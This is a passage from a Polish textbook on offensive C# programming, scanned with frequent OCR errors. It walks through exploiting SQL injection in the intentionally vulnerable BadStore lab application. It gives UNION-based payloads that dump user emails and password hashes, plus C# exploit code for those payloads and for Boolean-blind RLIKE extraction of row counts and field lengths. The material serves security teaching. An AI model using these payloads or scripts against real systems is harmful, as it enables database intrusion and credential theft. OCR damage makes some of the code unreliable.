pobierania danych z bazy danych. Aby skorzystaé z tej techniki w celu pobrania
danych kontrolowanych przez napastnika z bazy, trzeba zbudowa¢ fadunek, ktéry
pobiera te samg liczbe kolumn, co pierwotna kwerenda SQL uzywana w aplikacji
webowej. Gdy zdotamy zréwnowazy¢ liczbe kolumn, musimy by¢ w stanie wyszukac
programowo w odpowiedzi HTTP dane z bazy danych.

Gdy zostanie podjeta proba zréwnowazenia kolumn w iniekeji SQL bazu-
jacej na operacji UNION i liczba kolumn sie nie réwnowazy, to zazwyczaj aplika-
cja korzystajaca z bazy danych MySQL zwraca btad podobny do pokazanego na
listingu 2.27.

Listing 2.27. Przyktadowy komunikat o btedzie MySQL w przypadku, gdy kwerendy SELECT
po lewej i prawej stronie sfowa kluczowego UNION nie sq zréwnowazone

The used SELECT statements have a different number of columns...
WezZmy wrazliwy wiersz kodu z aplikacji webowej BadStore (badstore.cgi,
wiersz 203) i zobaczmy; ile kolumn zostalo wybranych w instrukcji (patrz listing 2.28).

Listing 2.28. Wrazliwy wiersz w aplikacji webowej BadStore, w ktorej instrukcja SELECT
wybiera cztery kolumny

$sq1="SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE
< '§squery' IN (itemnum,sdesc,ldesc)";

Réwnowazenie instrukeji SELECT wymaga troche testow, ale w tym przypadku
wiem (bo czytatem kod zrédlowy), ze ta konkretna kwerenda SELECT zwraca cztery
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kolumny. Jesli w tadunku zawierajacym spacje kodowane w adresie URL za po-
mocy znakéw plus (+) przekazemy stowo "hacked", to zauwazymy, ze stowo to zo-
stato zwrécone w wynikach wyszukiwania (patrz listing 2.29).

Listing 2.29. Wtasciwie zréwnowazony atak iniekcji SQL, ktéry zwraca stowo ,,hacked”
z bazy danych

searchquery=fdas'+UNION+ALL+SELECT+NULL, NULL, 'hacked', NULL%23

Gdy warto$¢ searchquery w tym fadunku zostanie przekazana do aplikacji, to
zmienna searchquery bedzie uzyta bezposrednio w kwerendzie SQL wysyltanej do
bazy danych. W takiej sytuacji przeksztalcamy pierwotng kwerende SQL (listing 2.28)
na nowg kwerende SQL niezamierzong pierwotnie przez programiste (listing 2.30).

Listing 2.30. Petna kwerenda SQL z dotgczonym fadunkiem, ktéra zwraca stowo ,,hacked”

SELECT itemnum, sdesc, Tdesc, price FROM itemdb WHERE 'fdas' UNION ALL
“>SELECT NULL, NULL, 'hacked', NULLo# "IN (itemnum,sdesc,ldesc)

Do podzielenia oryginalnej kwerendy SQL uzylismy znaku krzyzyka (#) @,
co spowodowalo przeksztalcenie kodu SQL wystepujacego za fadunkiem w komen-
tarz, ktory nie zostanie uruchomiony przez MySQL. Teraz wszystkie dodatkowe
dane (w tym przypadku stowo "hacked"), ktére chcemy zwrécié w odpowiedzi ser-
wera WWW, powinny znalez¢ sie w trzeciej kolumnie instrukeji UNION.

Dla czlowieka ustalenie danych zwréconych przez tadunek na stronie
WWW po wykorzystaniu luki jest stosunkowo latwe. Jednak w przypadku kom-
puteréw trzeba przekaza¢ informacje o tym, gdzie szuka¢ danych zwracanych
przez eksploita iniekeji SQL. Programowe wykrycie w odpowiedzi serwera
miejsca, gdzie znajdujg sie dane kontrolowane przez napastnika, moze by¢ trudne.
Aby to ulatwi¢, mozemy uzy¢ funkeji SQL CONCAT w celu otoczenia danych, ktére
nas interesuja, znanymi markerami, jak pokazano na listingu 2.31.

Listing 2.3 1. Przykfadowy tadunek dla parametru searchquery, ktdry zwraca stowo
,hacked”

searchquery=fdsa'+UNION+ALL+SELECT+NULL, NULL, CONCAT
> (0x71766a7a71, 'hacked',0x716b626b71), NULL#

W tadunku z listingu 2.31 uzyto danych szesnastkowych w celu wprowadzenia
z lewej i prawej strony dodatkowego stowa ,hacked” znanych danych. Jezeli tadu-
nek zostanie umieszczony w kodzie HTML zwr6conym przez aplikacje webowa,
to bedzie mozna wykry¢ pierwotny tadunek za pomocg wyrazenia regularnego.
W tym przykladzie wartosci 0x71766a7a71 odpowiada ciag qvjzq, natomiast ciggowi
0x716b626b71 ciag gkbkq. Jesli iniekcja dziata, to odpowiedZz powinna zawierac¢
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ciag qvjzghackedgkbkg. Jesli iniekcja nie dziata, a wyniki wyszukiwania sa wyswie-
tlone w niezmienionej postaci, to wyrazenie regularne takie jak qvjzq(.*)qkbkq
nie dopasuje warto$ci szesnastkowych umieszczonych w pierwotnym tadunku.

Funkcja MySQL CONCAT() dostarcza wygodny sposb zadbania o to, by eksploit
pobrat wlasciwe dane z odpowiedzi serwera WWW.

Bardziej uzyteczny przyklad zamieszczono na listingu 2.32. W tym przykla-
dzie zmodyfikowalismy funkcje CONCAT() z poprzedniego tadunku w taki sposéb,
by zwracata nazwe biezacej bazy danych w otoczeniu znanych markeréw po lewe;j
i prawej stronie.

Listing 2.32. Przyktadowy tadunek, ktory zwraca nazwe biezqcej bazy danych

CONCAT(0x7176627a71, DATABASE(), 0x71766b7671)

W wyniku iniekeji SQL w funkeji wyszukiwania aplikacji BadStore powinni-
§my uzyska¢ ciag qvbzgbadstoredbqvkvg. Wyrazenie regularne qvbzq(.*) qvkvg po-
winno zwrdci¢ warto$é badstoredb — nazwe biezacej bazy danych.

Teraz, gdy wiemy, jak skutecznie pobiera¢ wartoéci z bazy danych, mozemy
rozpoczaé Scigganie danych z biezacej bazy danych przy uzyciu iniekcji bazuja-
cych na instrukcji UNION. Jedng ze szczegélnie przydatnych tabel w wiekszosci
aplikacji webowych jest tabela danych uzytkownikéw. Jak mozna zobaczy¢ na listin-
gu 2.33, z fatwoscig mozna uzy¢ opisanej wezesniej techniki iniekeji SQL UNION
w celu wyswietlenia z tabeli uzytkownikéw (0 nazwie usersdb) nazw uzytkowni-
kéw i ich skrétéw hasel. Do tego celu wystarcza jedno zadanie i jeden tadunek.

Listing 2.33. Ten tadunek pobiera z bazy danych BadStore adresy e-mail i hasta oddzielone
markerami z lewej, w srodku i z prawej strony

searchquery=fdas'+UNION+ALL+SELECT+NULL, NULL, CONCAT(0x716b717671, email,
>0x776872786573, passwd,0x71767a7a71), NULL+FROM+badstoredb.userdb#

Jesli iniekcja jest pomyslna, wyniki powinny pojawié sie na stronie WWW w ta-
beli towar6w.

Wykorzystywanie eksploita bazujgcego na instrukcji UNION
programowo

Przyjrzyjmy sie teraz, jak mozemy wykorzystaé takiego eksploita programowo
przy uzyciu jezyka C# i klas obstugi HTTP. Umieszczajac tadunek pokazany na
listingu 2.33 w parametrze searchquery, powinniSmy zobaczy¢ tabele towaréw
na stronie WWW wypelniong nazwami uzytkownikéw i skrétami hasel zamiast
nazwami rzeczywistych towaréw. Wystarczy tylko stworzyé jedno zadanie HTTP,
a nastepnie uzy¢ wyrazenia regularnego do wyciagniecia z odpowiedzi HTTP
serwera adreséw e-mail i skr6téw hasel umieszczonych pomiedzy znacznikami.
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Utworzenie znacznikow do wyszukania nazw uzytkownikow
i haset

Po pierwsze, nalezy utworzy¢ znaczniki dla wyrazen regularnych, tak jak pokaza-
no na listingu 2.34. Znaczniki te wykorzystamy do wydzielenia wartosci zwréconych
z bazy danych podczas iniekeji SQL. Cheemy uzyé ciggéw wygladajacych na loso-
we — takich, ktérych prawdopodobiefistwo znalezienia w kodzie Zrédlowym
HTML jest niskie. Dzieki temu wyrazenie regularne pobierze z kodu HTML zwr6-
conego w odpowiedzi HTTP tylko interesujace nas nazwy uzytkownikéw i skroty
hasel.

Listing 2.34. Utworzenie znacznikdw, ktére bedq uzyte w tadunku ataku iniekcji SQL
bazujgcym na instrukcji UNION

string frontMarker = o"FrOnTMaRker";

string middleMarker = @O 'n1dD1EMaRker";

string endMarker = 9‘"eNdMaRker";

string frontHex = string.@doin("", frontMarker.®Select
> (c => ((int)c).ToString("X2")));

string middleHex = string.Join("", middleMarker.Select

> (c => ((int)c).ToString("X2"))); string endHex = string.
>Join("", endMarker.Select(c => ((int)c).ToString("X2")));

Na poczatek utworzymy trzy ciagi do wykorzystania jako znacznik poczatkowy
O, srodkowy O i koricowy . Wykorzystamy je do odszukania i oddzielenia
nazw uzytkownikéw i haset pobranych z bazy danych w odpowiedzi HTTP. Musimy
tez stworzy¢ szesnastkowe reprezentacje znacznikéw, ktére znajda sie w fadunku.
Aby to zrobié, trzeba troche przetworzy¢ kazdy znacznik.

Do iterowania po poszczegélnych znakach w ciggu znacznika uzylismy metody
LINQ select() &, dokonalismy konwersji kazdego znaku na jego szesnastkowa
reprezentacje i zwrécilismy tablice przetworzonych danych. W tym przypadku
metoda zwraca tablice ciagéw 2-bajtowych. Kazdy z nich jest szesnastkows repre-
zentacjg znak6w w oryginalnym znaczniku.

W celu utworzenia na podstawie tej tablicy kompletnego szesnastkowego
ciagu uzywamy metody Join() @, aby scali¢ poszczegélne elementy w tablicy
i stworzy¢ szesnastkowe ciagi znakéw reprezentujace poszcezegilne znaczniki.

Budowanie adresu URL z tadunkiem
Teraz musimy zbudowa¢ adres URL i ladunek w celu utworzenia zadania HTTP,
jak pokazano na listingu 2.35.

Listing 2.35. Tworzenie adresu URL z fadunkiem wewngqtrz metody Main() eksploita

string url = @"nttp://" + Gargs[0] + "/cgi-bin/badstore.cgi”;
string payload = "fdsa' UNION ALL SELECT";
payload += " NULL, NULL, NULL, CONCAT(Ox"+frontHex+", IFNULL(CAST(email AS";
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payload += " CHAR), 0x20),0x"+middleHex+", IFNULL(CAST(passwd AS";
payload += " CHAR), 0x20), Ox"+endHex+") FROM badstoredb.userdb# ";

url += 3"?searchquery=" + Uri.@EscapeUriString
> (payload) + "action=search";

Utworzylismy adres URL @ w celu wygenerowania zadania przy uzyciu
pierwszego argumentu @ przekazanego do eksploita: jest to adres IP egzemplarza
aplikacji BadStore. Po utworzeniu bazowego adresu URL tworzymy tadunek,
ktéry wykorzystamy do zwrécenia nazw uzytkownikow i skrétéw haset z bazy
danych, w tym trzech ciagéw szesnastkowych utworzonych ze znacznikéw w celu
oddzielenia nazw uzytkownikéw od hasel. Jak wspomniano wezesniej, zakodowali-
$my znaczniki w postaci szesnastkowej po to, aby w przypadku, gdyby znaczniki
zostaly wySwietlone bez danych, ktére nas interesuja, nasze wyrazenie regularne
nie dopasowalo ich przypadkowo i nie zwrécito smieciowych danych. Na koniec
scalamy ladunek z adresem URL @ przez dolaczenie wrazliwych parametréw ciagu
kwerendy do fadunku wewnatrz bazowego adresu URL. Aby mie¢ pewno$¢, ze ta-
dunek nie zawiera zadnych znakéw unikatowych dla protokolu HTTE przed wsta-
wieniem go do ciagu kwerendy przekazujemy go do metody EscapeUriString() @.

Wysytanie zgdania HTTP

Teraz jestesmy gotowi do wyslania zadania i odebrania odpowiedzi HTTP zawie-
rajacej nazwy uzytkownikéw i skréty haset pobrane z bazy danych za pomoca
tadunku iniekcji SQL (patrz listing 2.36).

Listing 2.36. Tworzenie zqdania HTTP i czytanie odpowiedzi z serwera

HttpWebRequest request = (HttpWebRequest)WebRequest.@Create(url);
string response = string.Empty;

using (StreamReader reader = Bnew StreamReader

> (request.GetResponse().GetResponseStream()))

response = reader.®ReadToEnd () ;

Stworzylismy proste zadanie GET poprzez wygenerowanie nowego, zbudowa-
nego wczesniej egzemplarza HttpWebRequest ® ; adresem URL zawierajacym
ladunek iniekcji SQL. Nastepnie zadeklarowalismy zmienng tekstowa do prze-
chowywania odpowiedzi i domyslnie przypisalismy do niej pusty ciag znakéw.
W kontekscie instrukcji using stworzylismy egzemplarz obiektu StreamReader @
i odezytalismy odpowiedz @ do zmiennej response. Teraz, gdy mamy odpowiedz
z serwera, mozemy stworzy¢ wyrazenie regularne, wykorzystujac znaczniki do
wyszukania nazw uzytkownikéw i haset w odpowiedzi HTTP, tak jak pokazano
na listingu 2.37.
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Listing 2.37. Dopasowywanie odpowiedzi serwera do wyrazenia regularnego
w celu wydobycia wartosci z bazy danych

Regex payloadRegex = @new Regex(frontMarker + "(.*?)

" + middleMarker + "(.*?)" + endMarker);

MatchCollection matches = pay1oadRegex.@Matches(response);
foreach (Match match in matches)

{
Conso1e.ﬁ'WriteLine("UZytkownik: " + match.
>@Groups [1].Value + "\t ");
Console.Write("Skrot hasta: " + match.ﬁGroups[Z].Va]ue);

W kodzie z tego listingu wyszukujemy i wy$wietlamy warto$ci pobrane z odpo-
wiedzi HTTP w wyniku przeprowadzonego ataku iniekcji SQL. Najpierw w celu
stworzenia wyrazenia regularnego uzylismy klasy Regex @ (z przestrzeni nazw
System.Text.RegularExpressions). To wyrazenie regularne zawiera dwie grupy
wyrazeniowe przechwytujace nazwe uzytkownika i skrét hasta z dopasowanego cig-
gu oraz korzystajace ze zdefiniowanych wezesniej znacznikéw przedniego, srodko-
wego i koncowego.

Nastepnie wywolalismy metode Matches () @ na wyrazeniu regularnym, prze-
kazujae do niej w roli argumentu dane otrzymane w odpowiedzi. Metoda Matches ()
zwraca obiekt MatchCollection, po ktérym mozna iterowaé za pomoca petli foreach.
W ten spos6b pobieramy z odpowiedzi kazdy ciag pasujacy do wyrazenia regular-
nego utworzonego wezesniej przy uzyciu wygenerowanych znacznikéw.

Iterujac po kazdym dopasowanym wyrazeniu, wySwietlamy nazwy uzytkowni-
k6w i skréty hasel. Korzystajac z metody WriteLine() & do wyswietlania wartosci,
budujemy cigg znakéw za pomoca grup wyrazeniowych przechwytujacych nazwy
uzytkownikéw @ i hasta @, ktére sa przechowywane we wlasciwosci Groups wy-
razenia dopasowania.

Uruchomienie eksploita powinno spowodowaé wy$wietlenie wartosci zamiesz-
czonych na listingu 2.38.

Listing 2.38. Przyktadowy wynik dziatania eksploita bazujgcego na instrukcji UNION

Uzytkownik: AAA Test User Skrot hasta:
>(098F6BCD4621D373CADE4E832627B4F6

Uzytkownik: admin Skrot hasta:
>5EBE2294ECDOEOFO8EAB7690D2A6EEG9

Uzytkownik: joe@supplier.com Skrot hasta:
>62072d95acb588c7ee9d6falc6c85155

Uzytkownik: big@spender.com Skrot hasta:
>09726255eec083aab6dc0449a21b33190

--ciach--

Uzytkownik: tommy@customer.net  Skrot hasta:
>7f43c1e438dc11a93d19616549d4b701
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Jak wida¢, uzywajac iniekcji SQL bazujacej na instrukeji UNION, za pomocy
pojedynczego zadania udato sie wydoby¢ wszystkie nazwy uzytkownikéw i skroty
haset z tabeli userdb bazy danych MySQL aplikacji BadStore.

Wykorzystywanie luk SQL typu Boolean-blind

Iniekcja SQL Boolean-blind, znana réwniez jako iniekcja bazujaca na typie Boolean,
to atak, w ktérym napastnik nie uzyskuje informacji bezposrednio z bazy danych,
ale moze wyodrebni¢ informacje posrednio — zazwyczaj po 1 bajcie, poprzez
zadawanie pytan typu ,,prawda czy falsz”.

Jak dziatajq iniekcje SQL typu Boolean-Blind?

Skuteczne wykorzystanie luki za pomocg iniekeji SQL typu Boolean-blind wymaga
nieco wiecej kodu oraz — ze wzgledu na liczbe potrzebnych zadan HTTP —
znacznie wiecej czasu w poréwnaniu z iniekcja bazujaca na instrukeji UNION.
Iniekcje tego rodzaju sa réwniez znacznie ,.glosniejsze” po stronie serwera niz eks-
ploity bazujace na instrukeji UNION i moga pozostawiaé¢ w logach znacznie wiecej
dowod6w.

W przypadku wykonywania iniekcji SQL Boolean-blind nie otrzymujemy
bezposrednich informacji z aplikacji webowej. Zamiast tego w celu zebrania infor-
macji z bazy danych bazujemy na metadanych — na przykltad zmianach zachowania.
Na przyklad, jak pokazano na listingu 2.39, za pomocg stowa kluczowego RLIKE
bazy danych MySQL, ktére dopasowuje warto$¢ w bazie danych z wykorzystaniem
wyrazenia regularnego, mozemy spowodowaé wys$wietlenie btedu w aplikacji
BadStore.

Listing 2.39. Przyktadowy tadunek iniekcji SQL Boolean-blind ze stowem kluczowym
RLIKE, ktéry powoduje btqd aplikacji BadStore

searchquery=fdsa'+RLIKE+0x28+AND+'

Po przekazaniu do aplikacji BadStore instrukcja RLIKE sprébuje sparsowaé
ciagg zakodowany szesnastkowo jako wyrazenie regulare, co spowoduje wystapie-
nie bledu (patrz listing 2.40), ze wzgledu na to, ze przekazany ciag znakow jest
symbolem specjalnym w wyrazeniach regularnych. Znak otwierajacego nawiasu [(]
(szesnastkowo 0x28) oznacza poczatek grupy wyrazeniowej, ktorej uzywalismy
réwniez do dopasowywania nazw uzytkownikéw i skrétéw hasel w eksploicie ba-
zujageym na stowie kluczowym UNION. Otwierajgcemu nawiasowi musi odpowia-
daé nawias zamykajacy [)]. W przeciwnym razie skladnia wyrazenia regularnego
bedzie nieprawidlowa.

Listing 2.40. Btqd instrukcji RLIKE po przekazaniu nieprawidfowego wyrazenia regularnego

Got error 'parentheses not balanced' from regexp
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Nawiasy nie sg sparowane, poniewaz brakuje nawiasu zamykajacego. Teraz
wiemy, ze mozemy skutecznie kontrolowaé¢ zachowanie aplikacji BadStore za
pomocy zapytani SQL true i false, ktére powodujg generowanie bledu.

Tworzenie odpowiedzi prawda i fatsz za pomocq RLIKE

W celu dokonania deterministycznego wyboru dobrych badz ztych wyrazen regu-
larnych do sparsowania za pomocg instrukcji RLIKE mozemy uzy¢ instrukeji CASE
bazy danych MySQL (kt6ra zachowuje sie jak instrukcja case w jezykach podob-
nych do C). Na przyklad kod z listingu 2.41 zwraca odpowiedz true.

Listing 2.4 1. tadunek RLIKE, ktéry powinien zwréci¢ odpowiedz true

searchquery=fdsa' +RLIKE+(SELECT+(CASE+WHEN+(1=1€)
>+THEN+0x28+ELSE+0x41+END) ) +AND+"'

Instrukcja CASE najpierw sprawdza, czy warunek 1=1 @ jest prawdziwy. Po-
niewaz to poréwnanie ma warto$¢ true, to instrukcja zwraca znak 0x28 jako wyraze-
nie regularne do sparsowania przez RLIKE. Poniewaz ( nie jest prawidlowym wyra-
zeniem regularnym, aplikacja webowa zglasza blad. Jesli zmodyfikujemy kryterium
instrukeji CASE 1=1 (wyrazenie 1=1 ma warto$¢ true) na 1=2, wtedy aplikacja webowa
przestanie zglasza¢ blad. Poniewaz wyrazenie 1=2 ma warto$¢ false, to aplikacja
zwraca warto$¢ 0x41 (wielka litera A w formacie szesnastkowym) do sparsowania
przez RLIKE i nie powoduje bledu parsowania.

Poprzez zadawanie aplikacji webowej pytan typu ,,prawda czy falsz” (czy to
jest réwne temu?) mozemy ustalié, jak aplikacja sie zachowuje, a nastepnie na
podstawie tego zachowania okresli¢, czy odpowiedzia na nasze pytanie byto true,
czy false.

Uzycie stowa kluczowego RLIKE w celu dopasowania kryteriow
wyszukiwania

ELadunek z listingu 2.42 dla parametru searchquery powinien zwrécié¢ odpowiedz
true (btad), poniewaz liczba wierszy w tabeli userdb jest wieksza niz 1.

Listing 2.42. Przykfadowy tadunek iniekcji SQL typu Boolean dla parametru searchquery

searchquery=fdsa'+RLIKE+(SELECT+(CASE+WHEN+( (SELECT+LENGTH (IFNULL
< (CAST (COUNT (*)
+AS+CHAR) , 0x20) ) +FROM+userdb) =1@®) +THEN+0x4 1+ELSE+0x28+END) ) +AND+"

Za pomocy, instrukeji RLIKE i CASE mozemy sprawdzié, czy rozmiar tabeli userdb
w aplikacji BadStore wynosi 1. Instrukcja COUNT(*) zwraca warto$é integer odpo-
wiadajaca liczbie wierszy w tabeli. Mozemy uzy¢ tej liczby, aby znacznie zmniej-
szy¢ liczbe zadan potrzebnych do przeprowadzenia ataku.
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Jesli zmodyfikujemy fadunek tak, by ustalal, czy liczba wierszy jest réwna 2
zamiast 1 @, wtedy serwer powinien zwréci¢ odpowiedz true, ktéra zawiera
btad z informacja o niezréwnowazonych nawiasach ("parentheses not balanced").
Dla przyktadu zat6zmy, ze w tabeli userdb aplikacji BadStore jest 999 uzytkowni-
kéw. Chociaz mozna by oczekiwa¢ koniecznosci wystania co najmniej 1000 Zadan
w celu ustalenia, czy liczba zwracana przez COUNT (*) byta wieksza niz 999, to za
pomoca ataku sitowego mozemy sprawdzi¢ pojedyncze cyfry (wszystkie wysta-
pienia 9) znacznie szybciej niz caly liczbe (999). Dtugosé liczby 999 wynosi trzy
(liczba 999 sktada sie z trzech znakéw). Gdyby zamiast prébowania catej liczby
999 prébowaé pojedynczo pierwsza, druga i trzecia cyfre, to calg liczbe spraw-
dzilibysmy w zaledwie 30 Zadaniach — do 10 zadan na jedna liczbe.

Okreslenie i wyswietlenie liczby wierszy w tabeli userdb

Aby powyzszy opis stal sie odrobine jasniejszy, sprébujmy napisa¢ metode Main(),
ktora ustala, ile wierszy zawiera tabela userdb. Liczbe wierszy w tabeli userdb
mozemy okresli¢ za pomocg petli for pokazanej na listingu 2.43.

Listing 2.43. Petla for pobierajqgca liczbe wierszy w tabeli bazy danych z danymi uzytkownikéw

int countlLength = 1;

for (;;countLength++)

{
string getCountLength = "fdsa' RLIKE (SELECT (CASE WHEN ((SELECT";
getCountLength += " LENGTH(IFNULL(CAST(COUNT(*) AS CHAR),0x20)) FROM";
getCountLength += " userdb)="+countLength+") THEN 0x28
SELSE Ox41 END))";
getCountLength += " AND 'LeSo'='LeSo";

string response = MakeRequest(getCountLength);
if(response.Contains("parentheses not balanced"))
break;

Zaczynamy z warto$cig countLength réwng zero, a nastepnie zwickszamy te
zmienng o 1 w kazdej iteracji petli i sprawdzamy, czy odpowiedz na zadanie zawiera
cigg "parentheses not balanced". Jesli tak jest, to przerywamy petle for. Wtedy
countLength zawiera prawidlowg liczbe uzytkownikéw, ktéra powinna wynosié¢ 23.

Nastepnie pytamy serwer o liczbe wierszy w tabeli userdb, tak jak pokazano
na listingu 2.44.

Listing 2.44. Pobieranie liczby wierszy w tabeli userdb

List<byte> countBytes = new List<byte>();
for (int i = 1; i <= countlLength; i++)
{

for (int ¢ = 48; c <= 58; c++)

{
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string getCount = "fdsa' RLIKE (SELECT

> (CASE WHEN ("ORD(G’MID((SELECT";

getCount += " IFNULL(CAST(COUNT(*) AS CHAR), 0x20)

>FROM userdb)®,";

getCount += i@+ ", 10))="+c@+") THEN 0x28 ELSE Ox41 END)) AND '";
string response = MakeRequest (getCount);

if (response.ﬂContains("parentheses not balanced"))

{
countBytes.@add((byte)c);
break;

Fadunek SQL uzyty na listingu 2.44 jest nieco r6zny od poprzednich tadun-
kéw SQL wykorzystywanych do odezytania liczby wierszy. Uzylismy funkeji SQL
ORD() @ imID() @.

Funkcja ORD() konwertuje przekazane dane wejsciowe na typ integer, nato-
miast funkcja MID() zwraca okreslony podciag na podstawie indeksu poczatkowego
i zwracanej dltugosci. Korzystajac z obu funkcji, mozemy pojedynczo wybieraé
po jednym znaku z ciagu zwracanego przez instrukcje SELECT i konwertowaé go
na liczbe catkowita.

Dzieki temu mozemy poréwnac reprezentacje integer bajtu w ciggu znakéw
z warto$cig znaku, ktory testujemy w biezacej iteracji.

Funkcja MID() pobiera trzy argumenty: cigg znakéw, z ktérego wybieramy
podciag ®, indeks poczatkowy (ktéry zaczyna sie od 1, a nie od 0, jak mozna by
oczekiwac) @ oraz dlugosé podciagu do pobrania @. Nalezy zauwazy¢, ze drugi
argument @ funkcji MID() wynika z biezacej iteracji najbardziej zewnetrznej
petli for, w ktérej zwiekszamy warto$¢ zmiennej i az do wartosci ustalonej w po-
przedniej petli for. Argument ten wybiera nastepny znak w ciggu do przetestowa-
nia w kolejnej iteracji. W wewnetrznej petli for iterujemy po odpowiednikach
integer znakéw ASCII od '0' do '9'. Poniewaz prébujemy uzyska¢ jedynie
liczbe wierszy w bazie danych, interesuja nas tylko znaki reprezentujace cyfry.

Wewngtrz tadunku SQL podczas ataku iniekcji SQL typu Boolean zostang
uzyte obie zmienne — zaréwno i @, jak i ¢ @. Zmienna i jest uzywana jako
drugi argument w funkcji MID(), ktéry dyktuje pozycje znaku w sprawdzanej warto-
$ci z bazy danych. Zmienna c jest liczbg catkowita, z ktérg poréwnujemy wynik
funkeji ORD() konwertujacej znak zwrécony przez funkeje MID() na liczbe catko-
witg. Dzieki temu mozemy iterowa¢ po wszystkich znakach w okreslonej warto-
$ci w bazie danych i w ataku sitowym prébowac¢ ustala¢ wartosé znaku za pomoca
pytan ,,prawda czy falsz”.

Kiedy ladunek zwréci blad "parentheses not balanced" @, to wiemy, ze
znak spod indeksu i jest réwny warto$ci zmiennej ¢ z petli wewnetrznej. Wtedy
rzutujemy zmienng ¢ na byte i dodajemy do listy List<byte> @, ktérej egzemplarz
utworzylismy przed rozpoczeciem petli. Na koniec przerywamy wewnetrzng petle
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w celu iterowania po petli zewnetrznej, a po zakonczeniu iteracji w petli for
konwertujemy liste List<byte> na cigg znakéw mozliwy do wyswietlenia.

Ten ciag znakéw jest nastepnie wySwietlany na ekranie tak, jak pokazano na
listingu 2.45.

Listing 2.45. Konwersja ciqgu znakéw pobranego w ataku iniekcji SQL i wyswietlenie
wartosci liczby wierszy w tabeli

int count = 1’nt.Parse(Encod1’ng.ASCII.OGetString(countBytes.ToArray()));
>Console.WriteLine("W tabeli userdb jest "+count+" wierszy");

W celu konwers;ji tablicy bajtéw zwréconych przez wywolanie countBytes.
>ToArray () na ciag czytelny dla czlowieka uzylismy metody GetString() @ (z klasy
Encoding.ASCII). Ten cigg znakéw jest nastepnie przekazywany do metody
int.Parse(), ktéra go parsuje i zwraca wartosé integer (jesli cigg znakéw daje
sie skonwertowaé na liczbe catkowity). Ciag jest nastepnie wySwietlany za pomo-
cg wywolania Console.WritelLine().

Metoda MakeRequest()

Jestesmy juz prawie gotowi na uruchomienie eksploita. Pozostata jeszcze jedna
rzecz: potrzebujemy sposobu przesylania tadunkéw wewnatrz petli for. W tym
celu musimy napisa¢ metode MakeRequest (), ktéra przyjmuje jeden argument:
fadunek do wystania (patrz listing 2.46).

Listing 2.46. Metoda MakeRequest(), wysytajgca tadunek i zwracajgca odpowiedz z serwera

private static string MakeRequest(string payload)

{
string url = @"http://192.168.1.78/cgi-bin/badstore.
“>cgi?action=search&searchquery=";
HttpWebRequest request = (HttpWebRequest)
>WebRequest BcCreate(url +payload);

string response = string.Empty;

using (StreamReader reader = new OstreamReader

> (request.GetResponse().GetResponseStream()))
response = reader.ReadToEnd();

return response;

Korzystajac z ladunku i adresu URL @ egzemplarza aplikacji BadStore,
utworzylismy prosty obiekt HttpWebRequest @ reprezentujacy zadanie GET. Nastep-
nie za pomoca obiektu StreamReader @ przeczytalismy odpowiedz do ciagu zna-
kéw i zwrécilismy odpowiedZ do obiektu wywolujacego. Teraz mozemy uruchomié
eksploita. Powinni§my otrzymaé¢ wynik podobny do pokazanego na listingu 2.47.
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Listing 2.47. Okreslenie liczby wierszy w tabeli userdb

W tabeli userdb jest 23 wierszy

Po uruchomieniu pierwszego fragmentu eksploita ustalilismy, ze w bazie danych
sg informacje o 23 uzytkownikach, dla ktérych chcemy wydoby¢ nazwy i skréty
hasel. Nastepny fragment eksploita bedzie wydobywal whasciwe nazwy uzytkowni-
kéw i skréty haset.

Pobieranie dfugosci wartosci

Zanim bedzie mozna wydoby¢ bajt po bajcie jakiekolwiek wartosci z kolumn w ba-
zie danych, trzeba ustali¢ dtugosci tych wartosci. Sposéb pobrania tych danych
pokazano na listingu 2.48.

Listing 2.48. Pobieranie dfugosci okreslonych wartosci w bazie danych

private static int GetLength(int row®, string column®)

{
int countlLength = 0; for (;; countLength++)

{
string getCountlLength = "fdsa' RLIKE (SELECT (CASE WHEN ((SELECT";

getCountLength += " LENGTH(IFNULL(CAST(@CHAR_LENGTH
S ("+column+") AS";

getCountLength += " CHAR),0x20)) FROM userdb ORDER BY
Semail @LIMIT";

getCountLength += row+",1)="+countLength+") THEN 0x28
>ELSE Ox41 END)) AND";

getCountLength += " 'YIye'='YIye";

string response = MakeRequest(getCountLength);

if (response.Contains("parentheses not balanced")) break;

Metoda GetlLength() pobiera argumenty: wiersz bazy danych, z ktérego bedzie-
my wydobywa¢ wartos¢ @, i kolumne bazy danych, w ktérej ta warto$é sie znaj-
duje . Do pobrania liczby wierszy w tabeli userdb wykorzystalismy petle for
(patrz listing 2.49). Ale w przeciwienistwie do poprzednich ladunkéw SQL skorzy-
stalismy z funkcji CHAR_LENGTH() @ zamiast LENGTH, poniewaz pobierane ciagi
moga by¢ 16-bitowymi taiicuchami Unicode zamiast 8-bitowymi ciggami ASCIL.
Uzylismy réwniez klauzuli LIMIT @, aby poinformowaé, ze chcemy wyciagnaé
wartosci z okreslonego wiersza zwréconego z calej tabeli users. Po pobraniu dtugo-
$ci wartos$ci w bazie danych mozemy bajt po bajcie pobra¢ wlasciwg wartosé, tak
jak pokazano na listingu 2.49.
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Listing 2.49. Druga petla w metodzie GetlLength() pobiera wtasciwg dtugos¢ wartosci

List<byte> countBytes = (1 List<byte> ();
for (int i = 0; i <= countlLength; i++)
{
for (int ¢ = 48; c <= 58; c++)
{
string getLength = "fdsa' RLIKE (SELECT
> (CASE WHEN (ORD(MID((SELECT";
getlength += " IFNULL(CAST(CHAR_LENGTH(" + column + ")
>AS CHAR),0x20) FROM";
getLength += " userdb ORDER BY email LIMIT " + row + ",1)," + i;
getLength += ",1))="+c+") THEN 0x28 ELSE 0x41 END))
S>AND 'YIye'='YIye";
string response = GMakeRequest(getLength);
if (response.®Contains("parentheses not balanced"))

{
countBytes.@)Add((byte)c);
break;

Jak wida¢ na listingu 2.49, utworzylismy generyczna liste List<byte> @ do
przechowywania warto$ci zebranych przez fadunek, aby skonwertowa¢ je na licz-
by calkowite i zwréci¢ do obiektu wywolujacego. Korzystajac z wywolania Make
>Request () @ i fadunku iniekcji SQL, wysylamy zadania HTTP w celu spraw-
dzania bajtéw w wartosci podczas iterowania po dtugosci licznika. Jesli odpo-
wiedz zawiera komunikat o bledzie "parentheses not balanced" @&, to wiemy,
ze fadunek SQL przyjal wartosé true. Oznacza to, ze nalezy zapisa¢ warto$¢ zna-
ku c (znak, ktéry zostal dopasowany do 1) jako typ byte @, aby mozna bylo
przekonwertowac¢ warto$é List<byte> na ciag czytelny dla ludzi.

Ze wzgledu na to, ze znalezlismy biezacy znak, nie musimy dalej testowaé
